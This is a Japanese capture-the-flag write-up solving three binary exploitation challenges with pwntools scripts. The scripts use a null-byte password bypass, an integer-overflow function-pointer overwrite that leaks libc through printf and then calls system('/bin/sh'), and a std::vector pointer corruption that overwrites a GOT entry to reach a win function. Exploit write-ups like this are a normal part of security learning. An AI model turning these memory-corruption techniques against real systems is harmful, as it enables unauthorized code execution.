なんとなくstrcmpしているのでnull文字を詰め込んでどうにかするものだろうと予想して、脳死でpasswordをすべてnull文字で送ってみたところそのままいけました。
from pwn import *
context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host, port = '34.170.146.252 44367'.split()
else:
host, port = '127.0.0.1 4000'.split()
# context.binary = e = ELF('./'); libc = e.libc; rop = ROP([e])
s = remote(host, port)
s.sendlineafter(b': ', b'root')
s.sendlineafter(b': ', b'\0'*0x1e)
s.interactive('')
以下のチェックがあり、前半のindex >= LLONG_MAX / SIZE
はindexを負の数にすると通るようにみえますが、後半のoffset自体がg_messagesのサイズの範囲内になっているところはどうしても変えられません。
off_t offset;
ssize_t index;
[...]
if (index >= LLONG_MAX / SIZE) {
puts("[-] Integer overflow");
exit(1);
}
offset = index * SIZE;
if (offset < 0 || offset >= sizeof(g_messages)) {
puts("[-] Invalid offset");
exit(1);
}
ここで悩みましたが、offsetからSIZE
(0x48)分読むので、sizeof(g_messages)-SIZE
よりも大きな数を指定できればg_messages
の先にあるfn_clear
を書き換えられるようになるのがわかります。適当に計算すると520となるoffsetが作り出せます。
次にfn_clearを書き換えてlibcリークに繋げられないかを考えます。fn_clearはfn_clear(g_messages, sizeof(g_messages))
と呼ばれるので、何かしらよい関数を探したところprintfを渡すことでfsbでリークができました。あとはg_messagesの先頭に/bin/sh
を入れてsystemを呼ぶだけです。
from pwn import *
context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host, port = '34.170.146.252 54223'.split()
else:
host, port = '127.0.0.1 4000'.split()
context.binary = e = ELF('./kangaroo.mod'); libc = e.libc; rop = ROP([e])
s = remote(host, port)
def read_message(index, message):
s.sendlineafter(b'> ', b'1')
s.sendlineafter(b'Index: ', b'%d' % index)
s.sendafter(b'Message: ', message)
def write_message(index):
s.sendlineafter(b'> ', b'2')
s.sendlineafter(b'Index: ', b'%d' % index)
def clear_messages():
s.sendlineafter(b'> ', b'3')
read_message(0, b'%p,' * 10 + b'\n')
LLONG_MAX = 2**63 - 1
SIZE = 0x48
idx = -(LLONG_MAX // SIZE)
idx += idx
idx += 7
print(idx)
print(idx * SIZE & 0xffffffffffffffff)
read_message(idx, b'A' * 0x38 + p(e.plt.printf) + b'\n')
clear_messages()
line = s.recv()
libc.address = int(line.split(b',')[8], 16) - 0x2a1ca
print('libc: %x' % libc.address)
read_message(idx, b'A' * 0x38 + p(libc.sym.system) + b'\n')
read_message(0, b'/bin/sh' + b'\n')
clear_messages()
s.interactive('')
問題自体は https://github.com/E869120/kyopro-tessoku/blob/main/codes/cpp/chap08/answer_A53.cpp のソースコードに/bin/shを呼ぶwin関数を追加しただけのものです。
xのサイズは100009なので、それ以上のものを読むことでTを書き換えられます。T自体はstd::vectorなのでそのアドレスを書き換えてしまえばpushされる際に特定のアドレスに対して書き込みができるようになるはずです。 https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732 を読むとこのstd::vectorは以下のようにポインタを持っているようなので、ここをGOTを指すように書き換えます。
+00h: <配列の先頭の要素へのポインタ>
+08h: <配列の最後の要素の次の位置へのポインタ>
+10h: <配列の容量的な限界位置のポインタ>
+10hのものに関しては、すべて同じポインタを指してしまうとpush時に容量が足りないのでバッファの拡張のようなものがされて壊れます。適当に0x100分先を指しておくとそのまま使えます。
なんとなくdeleteあたりがデストラクタで呼ばれるだろうとそのGOTのアドレスを指定していますが、デバッガで見てオフセットを修正したりして10件くらい突っ込んだらそのまま動いたのでかなり適当です。
from pwn import *
context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host, port = '34.170.146.252 55287'.split()
else:
host, port = '127.0.0.1 4000'.split()
# context.binary = e = ELF('./'); libc = e.libc; rop = ROP([e])
s = remote(host, port)
win = 0x401427
N = 6+10
Q = 100015 + N
s.send(b'%d\n' % Q)
for i in range(Q-N):
s.send(b'0\n')
'''
https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732
+00h: <配列の先頭の要素へのポインタ>
+08h: <配列の最後の要素の次の位置へのポインタ>
+10h: <配列の容量的な限界位置のポインタ>
'''
got = 0x405038-8-4 # delete@got
s.send(b'1 %d\n' % got)
s.send(b'0\n')
s.send(b'1 %d\n' % got)
s.send(b'0\n')
s.send(b'1 %d\n' % (got+0x100))
s.send(b'0\n')
# 適当
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.interactive('')